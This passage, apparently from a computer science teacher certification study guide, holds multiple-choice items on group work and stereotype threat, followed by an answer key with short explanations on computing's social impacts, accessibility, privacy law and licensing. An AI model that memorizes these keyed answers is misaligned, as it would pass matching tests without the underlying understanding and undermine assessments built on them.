D. awarding bonus points to the students who speak the most often in discussions

Answer: page 1079

0005.g.7.4

A teacher lets students choose their own groups, and the groups form along existing friendships. Several students are repeatedly left out of the coding. Which response best addresses the problem?

A. continuing with chosen groups, since friends cooperate better with one another

B. assigning groups thoughtfully and teaching collaboration norms

C. asking the left-out students to speak up more in their groups

D. placing the left-out students together in one group

Answer: page 1079

0005.g.7.5

A teacher records who handles the keyboard in each mixed group over several weeks. Which finding would most clearly indicate unequal participation that needs attention?

A. groups reaching different solutions to the same problem in different ways

B. the same few students coding while others record notes or present

C. students in groups asking one another for help with errors in code

D. some pairs finishing well before the others in each class period

Answer: page 1080

Stereotype threat and growth mindset

0005.g.8.1

Before a test, a teacher tells the class, “Some people think girls are not good at computing, but you can prove them wrong.” Why might this remark lower the girls’ scores?

A. It tells girls to expect an easy test, so they put in less effort while studying.

B. It shows that the teacher doubts the girls’ ability, which the students come to accept as true.

C. It makes a negative stereotype prominent, which can cause anxiety about confirming it.

D. It singles out girls for praise, which the rest of the class resents.

Answer: page 1080

0005.g.8.2

A teacher preparing an assessment wants to reduce the possible effect of stereotypes on performance. Which change to the test would do this?

A. placing the most difficult questions first

B. allowing students to choose the section they complete first

C. moving the demographic questions to the end of the test

D. adding a notice that the test is used to compare groups

Answer: page 1080

0005.g.8.3

A teacher wants a message for the classroom wall that supports students who believe that some people are simply born good at coding. Which statement best fits?

A. “Try your hardest on every program, since effort is all that matters.”

B. “Some students find programming easy, and others will need to work hard.”

C. “Programming skill grows through effort, good strategies, and feedback.”

D. “Everyone is equally talented at programming, so anyone can succeed.”

Answer: page 1080

0005.g.8.4

A student has worked hard on loops for weeks without improving, and says, “Maybe I am just not good at this.” Which response from the teacher best applies a growth mindset?

A. telling the student to keep working hard since effort will eventually pay off

B. reminding the student that many other people struggle with loops when they begin

C. suggesting the student try a different topic in which success comes easily

D. discussing specific strategies to try, and noting what the student has improved

Answer: page 1080

0005.g.8.5

A student performs well on class practice, but on a high-stakes test that asks for demographic information first, the student scores lower. The student later says, “I kept worrying that I would prove people right.” Which concept best explains this result?

A. low motivation on tests that carry little personal value

B. test anxiety about difficult content in the questions

C. stereotype threat, set off by a reminder of group identity

D. a fixed mindset about the ability to learn computing

Answer: page 1080

Part 6: Answers and explanations

Each answer links back to its question in Part 5.

0001 Impacts of computing

0001.a Computing in classrooms, homes, and communities

0001.a.1.1 D. Activity counts record use of the platform, not learning. Low login counts combined with strong work show that the two can diverge. Question: page 179

0001.a.1.2 B. Records of submitted work and quiz performance give the teacher evidence about individual students. Question: page 179

0001.a.1.3 A. A login count does not tell whether instruction was effective or students learned. It is a poor measure of what the administrator wants to evaluate. Question: page 179

0001.a.1.4 B. Learning management systems distribute materials, collect work, and record activity on the platform. The other products manage records, devices, or traffic. Question: page 180

0001.a.1.5 C. Opening a video shows access, not understanding, so the data should prompt a conversation or further assessment. Question: page 180

0001.a.2.1 C. Captions present spoken content as text, which removes the barrier in the recorded lectures. Question: page 180

0001.a.2.2 A. Adaptive software responds to answers, but it does not know the teacher's goals. Teachers still decide whether the path serves the student. Question: page 181

0001.a.2.3 B. Adaptive tools change content based on a learner's responses. Assistive tools, such as text-to-speech, widen access to content. Question: page 181

0001.a.2.4 A. Text-to-speech provides the same content through hearing, which is the student's stronger route to comprehension. Question: page 181

0001.a.2.5 C. Personalization helps only when the content serves the learning goal, which is a judgment for the teacher. Question: page 181

0001.a.3.1 D. Connected devices typically depend on cloud services, so spoken requests and usage data often leave the home. Question: page 182

0001.a.3.2 D. IoT devices add network connectivity to everyday objects, which enables remote control and data collection. Question: page 182

0001.a.3.3 A. Many connected devices rely on the manufacturer's servers for remote access and processing, so they lose features when service ends. Question: page 182

0001.a.3.4 D. Fine-grained usage patterns reveal routines, such as when people are home, which extends the privacy concern beyond the bill. Question: page 183

0001.a.3.5 D. Connected devices add remote sensing, alerts, and control. The other functions exist without a network connection. Question: page 183

0001.a.4.1 A. Low-cost sensors can fill geographic gaps in monitoring, and maps make the evidence easier to share in civic advocacy. Question: page 183

0001.a.4.2 B. Published transit data lets community members compare service frequency across areas with evidence. Question: page 183

0001.a.4.3 D. A public data portal gives people access to government data they can analyze and reuse. Question: page 184

0001.a.4.4 D. Low-cost sensors can drift or read differently from reference instruments, so calibrating them makes the evidence more credible. Averaging and adding units would preserve a shared offset. Question: page 184

0001.a.4.5 C. Mapping public data to support a local argument is a community use of computing for advocacy. Question: page 184

0001.a.5.1 B. Satellite service can reach places where wired lines are impractical and cellular coverage is absent. Question: page 185

0001.a.5.2 C. Geostationary satellites orbit far from Earth, so signals incur noticeable latency, which matters most in interactive uses. Steady downloads show that capacity is not the problem. Question: page 185

0001.a.5.3 B. Satellite service is valuable where wired service is impractical, but it generally offers less for the price where wired options exist. Question: page 185

0001.a.5.4 B. Satellite service does not depend on laying cable, so it can reach remote locations. Question: page 185

0001.a.5.5 A. The reason to use satellite here is availability. Fiber would still be likely to offer better performance once built. Question: page 186

0001.a.6.1 B. 3-D printing suits one-off and small-batch parts, since no special mold is required. Question: page 186

0001.a.6.2 C. Conventional manufacturing has high setup costs but low unit costs at scale, while printing is slower per object. Question: page 186

0001.a.6.3 B. 3-D printing is additive, and each layer follows slices of a digital model. Milling removes material from a larger block. Question: page 187

0001.a.6.4 A. Rapid prototyping lets designers test and change ideas before investing in production tooling. Question: page 187

0001.a.6.5 B. Being able to print a model does not grant permission to sell it. The license terms govern commercial use. Question: page 187

0001.a.7.1 A. LLMs generate plausible text from patterns and can state errors confidently, especially on narrow or recent topics poorly represented in training data. Question: page 187

0001.a.7.2 A. LLMs are most reliable where a topic is well represented in training data, as common textbook material is. Question: page 188

0001.a.7.3 D. LLMs learn statistical patterns from large amounts of text and generate output based on those patterns. Question: page 188

0001.a.7.4 B. LLMs can invent details such as citations because they generate text that fits patterns rather than checking facts. Question: page 188

0001.a.7.5 C. Since a model can be wrong and confident, checks should come from outside the model. Question: page 189

0001.a.8.1 A. Machine translation can introduce errors, and in high-stakes messages those errors matter, so a person fluent in the language should check them. Question: page 189

0001.a.8.2 C. Machine translation is fast and can be adequate for low-stakes communication. Meetings with major consequences warrant a qualified human. Question: page 189

0001.a.8.3 A. Fluent-looking translation can still be wrong in tone or meaning, particularly in less common usages. Question: page 189

0001.a.8.4 C. Translation tools speed up communication, though their output still needs review when stakes are high. Question: page 190

0001.a.8.5 D. Machine translation gives a quick draft, and a fluent reviewer catches the errors that matter. Question: page 190

0001.a.9.1 C. The IT department maintains the rules on which outside addresses a school network allows, so its network administrator can review the block. Question: page 190

0001.a.9.2 A. Only the network changed between the two locations, which points to school filtering rules. Question: page 191

0001.a.9.3 B. Firewall rules let IT staff allow or block traffic crossing the network boundary. Question: page 191

0001.a.9.4 B. IT staff manage network access and can review and approve the resource, which keeps the school's controls in place. Question: page 191

0001.a.9.5 A. Allow lists can grant narrow access to specific resources while keeping the broader restriction in place. Question: page 191

0001.a.10.1 D. Input validation rejects impossible or badly formatted data at the point of entry, when it can still be corrected. Question: page 192

0001.a.10.2 B. Restricting the allowed values prevents variations such as “9th,” “nine,” and “Grade 9,” and it rejects grades the school does not offer. Question: page 192

0001.a.10.3 B. Validation checks that an entry meets rules, such as a required data type or range. Question: page 192

0001.a.10.4 C. Format checks cannot detect a well-formed address that does not exist, while checking against reference data can. Question: page 193

0001.a.10.5 B. A type and range check enforces both aspects of the rule, whole numbers and allowed values. Question: page 193

0001.b Impacts on individuals and society

0001.b.1.1 B. Systems optimized for engagement promote whatever keeps people watching, and accuracy is not part of that measure. Question: page 193

0001.b.1.2 C. Signals such as plays and skips shape what is ranked highly, which can narrow what a user sees. Question: page 194

0001.b.1.3 B. Behavioral signals show what holds a user’s attention, and platforms use them to predict what to show next. Question: page 194

0001.b.1.4 A. Popularity is not a measure of accuracy, and provocative content often spreads quickly. Question: page 194

0001.b.1.5 C. Recommendations depend on behavioral signals, so changing whom a user follows and engages with changes what is ranked highly. Question: page 194

0001.b.2.1 C. Free consumer services are typically funded by advertising, often targeted with data about users. Question: page 195

0001.b.2.2 A. The advertisers are the paying customers. They pay for access to the attention and data of users. Question: page 195

0001.b.2.3 C. Data about users supports targeted advertising or other monetization, even when the features do not need it. Question: page 195

0001.b.2.4 B. Free-to-the-user services are mostly funded by advertising, and more users means more attention to sell. Question: page 195

0001.b.2.5 D. The paid tier replaces advertising revenue with direct payment, changing how the service is funded. Question: page 196

0001.b.3.1 B. Subscriptions provide recurring revenue, and hosting gives the provider data about use. Question: page 196

0001.b.3.2 D. Customers of a hosted service depend on the provider's continued operation and hold no permanent copy, so data and continuity are at risk if it stops. Question: page 196

0001.b.3.3 A. Under software as a service, the provider hosts and maintains the application, so it applies updates centrally. Question: page 197

0001.b.3.4 C. Subscribers rely on the provider and do not hold a permanent copy, which shifts control toward the provider. Question: page 197

0001.b.3.5 A. Software as a service runs over the Internet with hosting and updates handled by the provider. Question: page 197

0001.b.4.1 C. Shared digital records speed care across sites, and they also concentrate sensitive data in one target. Question: page 198

0001.b.4.2 B. Sharing records across sites gives clinicians information they would not otherwise have. Question: page 198

0001.b.4.3 C. Digital systems create dependence, so outages can directly affect care. Question: page 198

0001.b.4.4 C. A single system holds many identifiable, valuable records. Question: page 198

0001.b.4.5 C. Limiting access by role and auditing logs discourages and detects inappropriate access by insiders. The employee in this situation is already logged in as a valid user. Question: page 199

0001.b.5.1 B. Automation tends to act on tasks, so many jobs change rather than disappear. Question: page 199

0001.b.5.2 C. Automation can create roles requiring different skills, such as maintenance and oversight. Question: page 199

0001.b.5.3 A. When tools handle some tasks, the skills needed shift, and people must still judge and direct the work. Question: page 200

0001.b.5.4 A. Effects vary across tasks and industries, and new roles often require different skills. Question: page 200

0001.b.5.5 B. The costs of automation fall heavily on workers whose tasks are replaced and who cannot move to the new roles. Question: page 200

0001.b.6.1 D. Algorithmic management can decide pay and assignments in ways that workers cannot inspect or contest. Question: page 200

0001.b.6.2 A. The term describes software acting in roles traditionally held by human managers. Question: page 201

0001.b.6.3 D. A metric cannot capture everything a worker does, and review and appeal let people correct unfair results. Question: page 201

0001.b.6.4 C. Software control over pay and access raises questions about whether workers are truly independent. Question: page 201

0001.b.6.5 A. The key difference is opacity, since workers can find it hard to see or question an algorithm's reasoning. Question: page 202

0001.b.7.1 B. Companies keep ranking details secret partly to limit manipulation through search engine optimization. Question: page 202

0001.b.7.2 D. Sponsored results are advertising, so their placement reflects payment as well as relevance. Question: page 202

0001.b.7.3 D. Search engine optimization is the practice of adapting content or sites to rank more highly. No payment to the search company is involved here. Question: page 202

0001.b.7.4 A. Search ranking can use signals about the user and the context, so results differ. Question: page 203

0001.b.7.5 C. Search rank reflects many factors, including optimization and payment, so claims should be checked elsewhere. Question: page 203

0001.b.8.1 D. Changing a block changes its hash, which no longer matches what the next block stores. Question: page 203

0001.b.8.2 B. Linking records through hashes in a shared, append-only ledger makes past transactions hard to alter. Question: page 204

0001.b.8.3 D. Cryptocurrency transactions generally cannot be reversed, and consumer protections are limited. Question: page 204

0001.b.8.4 B. Some consensus methods, such as proof of work, use large amounts of electricity. Question: page 204

0001.b.8.5 A. A ledger protects what was recorded, not whether it was true when it was recorded. Question: page 204

0001.b.9.1 D. Decisions about data and testing reflect social choices, and they shape what a system does well. Question: page 205

0001.b.9.2 A. Technology does not develop independently of regulation, since law can require design changes. Question: page 205

0001.b.9.3 D. Technologies change practices and expectations, often in ways not intended by their designers. Question: page 205

0001.b.9.4 D. Values, incentives, and regulation influence design, so technology is neither neutral nor inevitable. The other statements are consistent with the argument. Question: page 206

0001.b.9.5 D. Defaults reflect choices about values and incentives, in this case engagement. Question: page 206

0001.c Equity, access, and trade-offs

0001.c.1.1 D. The digital divide includes access to devices, connectivity, and the skills to use them. A free tablet supplies only the first of these. Question: page 206

0001.c.1.2 D. The term describes who has and who lacks devices, connectivity, and the skills to use them. Question: page 207

0001.c.1.3 A. Income and geography are major factors in the divide, so schools should design with this in mind. Question: page 207

0001.c.1.4 B. Service being available is not the same as being affordable, so income can drive the gap. Question: page 207

0001.c.1.5 B. Moving services online can exclude those affected by the digital divide unless alternatives remain. Question: page 207

0001.c.2.1 B. The homework gap is an access problem, so effective responses change the requirements or supply access. Question: page 208

0001.c.2.2 B. The term refers to the gap between students with and without home connectivity for assignments. Question: page 208

0001.c.2.3 D. Device sharing and limited data can prevent timely work, so access should be considered. Question: page 208

0001.c.2.4 A. Devices are only one part of the gap, since assignments still depend on connectivity at home. Question: page 209

0001.c.2.5 B. Whether the hotspots help is best measured through changes in students' ability to complete work. Question: page 209

0001.c.3.1 A. A coarse definition overstates coverage, so unserved households can be hidden from programs. Question: page 209

0001.c.3.2 D. More granular data can reveal gaps that block-level or provider-reported data hide. Question: page 209

0001.c.3.3 C. Area-based counting can label whole areas as served even when many households are not. Question: page 210

0001.c.3.4 D. Advertised availability differs from delivered performance and affordability. Question: page 210

0001.c.3.5 D. Self-reported coverage can favor the reporter, which is why independent checks matter. Question: page 210

0001.c.4.1 D. Language tools learn from available text, so languages with less online content get worse results. Question: page 211

0001.c.4.2 C. Quality can vary by language, so tests should reflect the languages students actually use. Question: page 211

0001.c.4.3 A. Content and tools are concentrated in a few languages, which leaves others underserved. Question: page 211

0001.c.4.4 C. Underrepresentation affects both access to information and the quality of tools trained on online text. Question: page 211

0001.c.4.5 D. Direct comparison shows students how resources and tool quality differ by language. Question: page 212

0001.c.5.1 C. Harms from extraction and e-waste often fall on communities that benefit least from the technology. Question: page 212

0001.c.5.2 A. Data centers use energy and water, and those costs can fall on local communities. Question: page 212

0001.c.5.3 B. Discarded devices become e-waste, and they often contain hazardous materials. The other stages also have costs, but of different kinds. Question: page 213

0001.c.5.4 A. Digital services depend on physical infrastructure and have real material costs. Question: page 213

0001.c.5.5 C. Unequal distribution of harm is the main ethical issue here. Question: page 213

0001.c.6.1 C. Personalized offers can provide savings, and the cost is the collection of personal data. Question: page 213

0001.c.6.2 D. When refusal is costly, a choice can be hard to refuse, which weakens claims of consent. Question: page 214

0001.c.6.3 D. Personalization relies on data, which brings surveillance, profiling, and loss of control. Question: page 214

0001.c.6.4 B. Users may accept data use that supports a feature, while ongoing collection goes beyond the trade they understood. Question: page 214

0001.c.6.5 D. The costs of data collection, such as profiling and future uses, are often hard to see at the time. Question: page 215

0001.c.7.1 D. Students who have only school devices have less privacy than those with personal devices. Question: page 215

0001.c.7.2 D. Narrowing scope and being transparent reduce privacy costs while keeping safety benefits in school. Question: page 215

0001.c.7.3 B. Schools typically justify monitoring in terms of safety and policy enforcement. Question: page 215

0001.c.7.4 B. Monitoring can expose sensitive information and has privacy costs alongside its safety benefits. Question: page 216

0001.c.7.5 D. A chilling effect occurs when people avoid legitimate behavior because they believe they are being watched. Question: page 216

0001.c.8.1 C. Technologies can both reduce and reinforce inequality, since those with skills and support benefit most. Question: page 216

0001.c.8.2 B. Equal availability is not the same as equal benefit, so supports should target the students who lack them. Question: page 217

0001.c.8.3 B. Effects depend on who has access and support, so outcomes can go in both directions. Question: page 217

0001.c.8.4 D. The benefits and barriers both matter, since the same technology can narrow one gap and expose another. Question: page 217

0001.c.8.5 A. Equity depends on who benefits, so the comparison should examine differences among groups. Question: page 217

0001.d Decision systems, bias, and inclusion

0001.d.1.1 C. The stakes of an automated decision determine how much harm its errors can cause. Question: page 218

0001.d.1.2 B. Being denied a job, loan, or release can have major and lasting consequences. Question: page 218

0001.d.1.3 B. Because errors can seriously harm people, high-stakes decisions should allow human review. Question: page 218

0001.d.1.4 B. Automated systems used in high-stakes settings should be open to explanation and challenge. Question: page 219

0001.d.1.5 D. A high overall accuracy can hide large differences in error rates among groups. Question: page 219

0001.d.2.1 D. Bias is a pattern of unfair outcomes that can arise from data, design, or use. Question: page 219

0001.d.2.2 B. Selecting spending as a stand-in for need introduced bias through a design choice. Question: page 220

0001.d.2.3 D. Algorithms reflect choices about what data to use and what to optimize. Question: page 220

0001.d.2.4 D. Bias can arise through use as well as through data or design. Question: page 220

0001.d.2.5 C. Uneven error rates are a signal of systematic bias. Question: page 220

0001.d.3.1 A. Models perform worse for groups underrepresented in training data, so broader data helps. Question: page 221

0001.d.3.2 A. Models can reproduce discrimination recorded in historical data. Question: page 221

0001.d.3.3 D. Representativeness concerns whether the data matches the population the system will encounter. Question: page 221

0001.d.3.4 C. Differences in performance across groups often reflect imbalances in the training data. Question: page 222

0001.d.3.5 B. Quantity does not fix representativeness, which depends on who the data includes. Question: page 222

0001.d.4.1 B. A correlated variable, known as a proxy, can carry the same information as the removed characteristic. Question: page 222

0001.d.4.2 C. Proxy variables can reintroduce bias even when the protected characteristic is removed. Question: page 222

0001.d.4.3 D. Outcomes reveal whether bias persists through proxies, which the input field alone cannot show. Question: page 223

0001.d.4.4 B. An apparently neutral feature can stand in for a protected characteristic. Question: page 223

0001.d.4.5 D. A neutral-looking feature can correlate with a characteristic and produce uneven effects. Question: page 223

0001.d.5.1 D. The system's output shapes its future data, so it appears to confirm its own predictions. Question: page 224

0001.d.5.2 A. Exploring beyond the top content gives the system data that its own promotions did not generate. Question: page 224

0001.d.5.3 D. A feedback loop can make a model look correct because its decisions produced the pattern. Question: page 224

0001.d.5.4 B. The term feedback loop describes outputs influencing the data used for later decisions. Question: page 224

0001.d.5.5 C. The placement decision shapes the data used later, which reinforces the initial decision. Question: page 225

0001.d.6.1 C. Automation bias is accepting computer output with too little scrutiny, even against other evidence. Question: page 225

0001.d.6.2 C. Automated output is one piece of evidence, and teachers should compare it with other information. Question: page 225

0001.d.6.3 A. The term automation bias describes over-reliance on computer output, here against evidence from the patient's symptoms. Question: page 226

0001.d.6.4 A. Software can calculate accurately and still be wrong because of its data or assumptions. Question: page 226

0001.d.6.5 B. Forming a judgment first reduces the anchoring effect of the automated output. Question: page 226

0001.d.7.1 D. Keyword filters can screen out qualified people and can encode existing preferences. Question: page 227

0001.d.7.2 A. Masking personally identifiable information reduces opportunities for bias in early review. Question: page 227

0001.d.7.3 A. These systems manage candidates and often screen them with automated criteria. Question: page 227

0001.d.7.4 D. Training on current staff can encode existing preferences that are not related to ability. Question: page 227

0001.d.7.5 D. Keyword filters can screen out qualified people and encode existing preferences, so the criteria themselves need review. Question: page 228

0001.d.8.1 A. Involving diverse users during development catches barriers that are hard to fix later. Question: page 228

0001.d.8.2 A. Explanations and human review let individuals understand and challenge outcomes. Question: page 228

0001.d.8.3 D. Inclusive design checks whether systems work across groups, not only on average. Question: page 229

0001.d.8.4 B. Testing with diverse users surfaces barriers that the development team might not experience. Question: page 229

0001.d.8.5 A. Alternatives and human support keep services accessible when an automated system falls short. Question: page 229

0001.d.9.1 B. Commercial platforms may rank results according to their own interests as well as relevance. Question: page 229

0001.d.9.2 C. Identifying paid placements and using independent sources reduces the influence of the platform's incentives. Question: page 230

0001.d.9.3 B. Sellers can pay for placement, which influences what users see in addition to relevance. Question: page 230

0001.d.9.4 B. Disclosure lets users understand that the ranking is not based only on relevance. Question: page 230

0001.d.9.5 C. Relevance is one factor among several that affect rank, so a top position is not proof of quality. Question: page 231

0001.e Accessibility and usability

0001.e.1.1 D. Alt text should convey an image's purpose, which for a chart is its main finding. Naming the topic leaves out what the chart shows. Question: page 231

0001.e.1.2 D. Empty alt text tells a screen reader to skip a decorative image, which spares the listener needless interruptions. Question: page 231

0001.e.1.3 A. Alt text is written for people who cannot see the image, and screen readers read it aloud. Question: page 232

0001.e.1.4 C. For a linked image, alt text should say what the image does, not what it looks like. Question: page 232

0001.e.1.5 B. Alt text should give the same information that a sighted student gets from the image, and here the question depends on the beak's shape. Stating the diet would give away the answer. Question: page 232

0001.e.2.1 C. Screen readers rely on semantic structure, and text styled to look like a heading is not exposed as a heading. Question: page 232

0001.e.2.2 B. Screen readers convert on-screen text and interface elements into speech or braille output. Question: page 233

0001.e.2.3 D. Screen readers announce associated labels, so unlabeled fields give no information about what to enter. Question: page 233

0001.e.2.4 C. Assistive technology depends on semantic structure, which a visual appearance cannot supply. Question: page 233

0001.e.2.5 D. Operating the product with the assistive technology that students use reveals whether its structure works. Question: page 234

0001.e.3.1 D. Speech-to-text converts spoken words into written text and reduces the need to type. Question: page 234

0001.e.3.2 D. Text-to-speech reads written text aloud. Speech-to-text turns speech into written text. Question: page 234

0001.e.3.3 A. Text-to-speech converts text into audio, which supports readers with dyslexia or low vision. Question: page 234

0001.e.3.4 A. Speech-to-text tools can perform unevenly across accents, so teachers should verify that they work for each student. Question: page 235

0001.e.3.5 B. Text-to-speech lets the student hear the content without relying on vision. Question: page 235

0001.e.4.1 B. Captions show speech and relevant sounds in sync with the video. Question: page 235

0001.e.4.2 C. A transcript provides the content as separate text, which a braille display can present. Question: page 236

0001.e.4.3 A. Captions display in sync with the video, whereas a transcript is read on its own. Question: page 236

0001.e.4.4 B. Automatic captions can misrecognize specialized terms, which can change the meaning for those relying on them. Question: page 236

0001.e.4.5 B. Designs that widen access for one group can often help many others. Question: page 236

0001.e.5.1 B. Perceivable means that people can sense the content, and audio with no text alternative cannot be sensed by someone who cannot hear it. Question: page 237

0001.e.5.2 A. These four principles are often abbreviated as POUR. Question: page 237

0001.e.5.3 D. WCAG criteria are organized at levels A, AA, and AAA, and AA is the usual target. Question: page 237

0001.e.5.4 C. Understandable content tells people what happened and how to fix the problem. Question: page 238

0001.e.5.5 B. Robust content works reliably with a variety of technologies, including assistive technologies. Question: page 238

0001.e.6.1 B. These disability laws require equal access, and that includes access to digital materials. Question: page 238

0001.e.6.2 D. The Web Content Accessibility Guidelines provide testable criteria commonly used as the benchmark. Question: page 238

0001.e.6.3 B. Schools must give students with disabilities equal access to digital materials used for instruction, and free tools are not exempt. Question: page 239

0001.e.6.4 C. Schools have ongoing obligations, and retrofitting after a request can leave people without access. Question: page 239

0001.e.6.5 B. A conformance report documents how a product meets the accessibility criteria. Question: page 239

0001.e.7.1 D. Functions available only by hovering cannot be reached by people who use a keyboard or a screen reader. Question: page 240

0001.e.7.2 D. All functionality should be available from a keyboard, and this kind of test verifies it. Question: page 240

0001.e.7.3 A. These users may not be able to use a pointing device, so they depend on keyboard operation. Question: page 240

0001.e.7.4 D. This kind of keyboard trap prevents people from moving past a component without a mouse. Question: page 240

0001.e.7.5 A. Every function needs a keyboard path, so drag-and-drop needs a keyboard equivalent. Question: page 241

0001.e.8.1 B. Information should not be conveyed by color alone. Question: page 241

0001.e.8.2 C. Level AA asks for a contrast ratio of at least 4.5:1 for normal text. Question: page 241

0001.e.8.3 A. A second cue, such as a label or a pattern, ensures that information does not depend on color alone. Question: page 241

0001.e.8.4 C. Text gives another way to perceive the information besides color. Question: page 242

0001.e.8.5 C. Sufficient contrast makes text easier to perceive for people with low vision. Question: page 242

0001.e.9.1 D. Screen reader users often navigate by lists of links, so link text must describe the destination. Question: page 242

0001.e.9.2 C. Link text should describe its destination when it is read out of context. Question: page 243

0001.e.9.3 B. Real heading elements and descriptive links allow efficient navigation. Question: page 243

0001.e.9.4 C. Heading levels convey document structure, so a confusing order misleads screen reader navigation. Question: page 243

0001.e.9.5 D. Heading elements expose the outline to assistive technology. Question: page 243

0001.e.10.1 D. Automated checkers can flag a missing attribute, but human judgment and testing are needed to evaluate quality. Question: page 244

0001.e.10.2 C. These tools run automated checks on pages and report possible accessibility problems. Question: page 244

0001.e.10.3 C. Automated tools cannot detect all barriers, so testing with people and assistive technology is still needed. Question: page 244

0001.e.10.4 B. Meaning and sequence require human judgment, whereas missing attributes can be detected by machine. Question: page 245

0001.e.10.5 D. A perfect automated score does not mean that no barriers exist. Question: page 245

0001.e.11.1 C. Operating systems include accessibility features, so many accommodations need no additional software. Question: page 245

0001.e.11.2 B. Switch access lets people operate a device using one or more simple switches. Question: page 245

0001.e.11.3 A. Many accommodations are built in, so checking first can save cost and time. Question: page 246

0001.e.11.4 C. High-contrast and dark modes change the display's colors to fit visual needs. Question: page 246

0001.e.11.5 D. Built-in features can provide an immediate accommodation without new hardware or software. Question: page 246

0001.f Laws, licenses, and policies

0001.f.1.1 D. Rights under the Family Educational Rights and Privacy Act (FERPA) transfer to the student at age 18, so the son's consent is needed for this disclosure. Question: page 247

0001.f.1.2 C. FERPA lets schools disclose designated directory information without consent if they give notice and an opportunity to opt out. Question: page 247

0001.f.1.3 C. FERPA excludes personal memory aids that are kept in the sole possession of the maker and are not shared with others. Question: page 247

0001.f.1.4 C. School officials with a legitimate educational interest are an exception to FERPA's consent requirement, though not all staff qualify for all records. Question: page 248

0001.f.1.5 C. FERPA gives parents and eligible students the right to inspect records and to ask for corrections to inaccurate information. Question: page 248

0001.f.2.1 D. Under Federal Trade Commission guidance on the Children's Online Privacy Protection Act (COPPA), schools may consent on parents' behalf when data are used solely for an educational purpose. Question: page 248

0001.f.2.2 A. COPPA covers services directed at children and general-audience services that have actual knowledge they are collecting data from a child under 13. Question: page 248

0001.f.2.3 D. The Federal Trade Commission enforces COPPA, which governs commercial collection of personal information from children under 13. Question: page 249

0001.f.2.4 A. COPPA centers on notice and verifiable parental consent for the online collection of personal information from children under 13. Question: page 249

0001.f.2.5 C. COPPA's protections are for children under 13, although other laws and district policies may still apply to older students. Question: page 249

0001.f.3.1 D. The Children's Internet Protection Act (CIPA) allows a library to disable the filter for bona fide research or other lawful purposes by an adult. Question: page 250

0001.f.3.2 D. CIPA targets images that are obscene, child pornography or harmful to minors. Broader blocking is a local decision rather than a federal requirement. Question: page 250

0001.f.3.3 C. CIPA, as amended, requires schools' safety policies to include educating minors about appropriate online behavior, including cyberbullying. Question: page 250

0001.f.3.4 B. CIPA is a condition of receiving E-rate and related federal support, so the funding is what triggers it. State or local rules may still apply. Question: page 250

0001.f.3.5 A. E-rate schools must have an Internet safety policy that includes monitoring minors' online activities, along with technology protection measures. Question: page 251

0001.f.4.1 D. New York Education Law 2-d requires educational agencies to have agreements and data protections in place with third-party contractors that receive student data. Question: page 251

0001.f.4.2 D. Education Law 2-d prohibits selling student data or using or disclosing it for marketing or commercial purposes. Question: page 251

0001.f.4.3 B. Education Law 2-d requires each educational agency to publish a parents' bill of rights for data privacy and security. Question: page 251

0001.f.4.4 B. Under Education Law 2-d, contractors must promptly report exposure of student data to the educational agency, which has its own notification duties. Question: page 252

0001.f.4.5 C. Besides student data, Education Law 2-d protects certain annual professional performance review data on teachers and principals. Question: page 252

0001.f.5.1 B. Copyright covers original expression such as code, whereas ideas and functions are not protected. Patents are a separate matter. Question: page 252

0001.f.5.2 A. Protection is automatic once a work is fixed in tangible form, with or without a notice. Question: page 253

0001.f.5.3 A. Works that employees create within the scope of their jobs are generally works made for hire, owned by the employer. Question: page 253

0001.f.5.4 C. Patents can protect inventions, including some processes. Copyright protects only the expression of the code. Question: page 253

0001.f.5.5 D. Facts are not copyrightable, although a compilation's original selection or arrangement may be protected. Question: page 253

0001.f.6.1 B. The amount used and the effect on the market are key factors. An educational label does not protect a commercial substitute. Question: page 254

0001.f.6.2 B. Purpose and amount favor fair use here, and limited commentary is unlikely to harm the film's market. Question: page 254

0001.f.6.3 A. Transformative uses such as parody may be fair use, based on weighing the four factors. Crediting a source does not by itself make a use fair. Question: page 254

0001.f.6.4 D. Fair use has no set safe harbor for length, and posting a full chapter publicly can substitute for buying the book. Question: page 255

0001.f.6.5 B. Amount is one factor among four, so there is no percentage that is automatically safe. Question: page 255

0001.f.7.1 C. BY requires attribution, and SA requires adaptations to be shared under the same terms. Question: page 255

0001.f.7.2 A. NC restricts commercial use, and attribution is a separate condition. Question: page 255

0001.f.7.3 B. ND allows sharing the original, with credit, but not sharing adaptations. Question: page 256

0001.f.7.4 D. CC BY allows reuse, adaptation and commercial use with attribution, and it asks for nothing further. Question: page 256

0001.f.7.5 D. Attribution under CC BY generally includes crediting the creator and indicating the license. Question: page 256

0001.f.8.1 A. Rights to study and modify code are the defining benefit. Support and security are not guaranteed, and hosting has costs. Question: page 257

0001.f.8.2 C. Open-source creators retain copyright and grant permissions through a license. Question: page 257

0001.f.8.3 B. Selling copies, support and services is compatible with most open-source licenses. Question: page 257

0001.f.8.4 D. Access to source code and permission to modify it let others continue the work, though it takes skill and time. Question: page 257

0001.f.8.5 C. Linux and Firefox are released under open-source licenses. Question: page 258

0001.f.9.1 C. Copyleft requires that distributed derivative works be licensed on the same terms, with source available. Question: page 258

0001.f.9.2 D. MIT is permissive, whereas the GPL's copyleft would create conditions on distributing the derivative work. Question: page 258

0001.f.9.3 B. GPL obligations generally apply when the software is conveyed to others. Question: page 259

0001.f.9.4 D. Copyleft requires that distributed modified versions carry the same freedoms. Question: page 259

0001.f.9.5 C. MIT's main condition is to include the notice in copies of the software. Question: page 259

0001.f.10.1 D. The Computer Fraud and Abuse Act and state laws address unauthorized access, apart from any damage. Question: page 260

0001.f.10.2 C. Technical access does not equal permission. Former employees generally lack authorization to access former employers' systems. Question: page 260

0001.f.10.3 C. Without authorization, testing someone else's system carries legal risk regardless of intent. Question: page 260

0001.f.10.4 C. The Computer Fraud and Abuse Act is the main federal law on computer intrusion. Question: page 260

0001.f.10.5 D. Having a login for one area does not authorize entry to areas beyond the account's permission, and doing so can exceed authorized access under computer crime law. Question: page 261

0001.f.11.1 C. Authorization is limited to the agreed scope and does not extend to other parties' systems. Question: page 261

0001.f.11.2 B. Reporting privately gives the owner a chance to fix a problem before it is widely known. Question: page 261

0001.f.11.3 D. Bug bounty rules define an authorized scope that researchers must follow. Question: page 261

0001.f.11.4 C. Isolated practice environments allow skill-building without unauthorized access. Question: page 262

0001.f.11.5 C. Written rules of engagement document permission and limits. Question: page 262

0001.f.12.1 A. The Digital Millennium Copyright Act's notice-and-takedown system includes a counter-notice process for mistaken claims. Question: page 262

0001.f.12.2 C. The anti-circumvention provisions of the Digital Millennium Copyright Act address bypassing access controls, although certain exemptions exist. Question: page 263

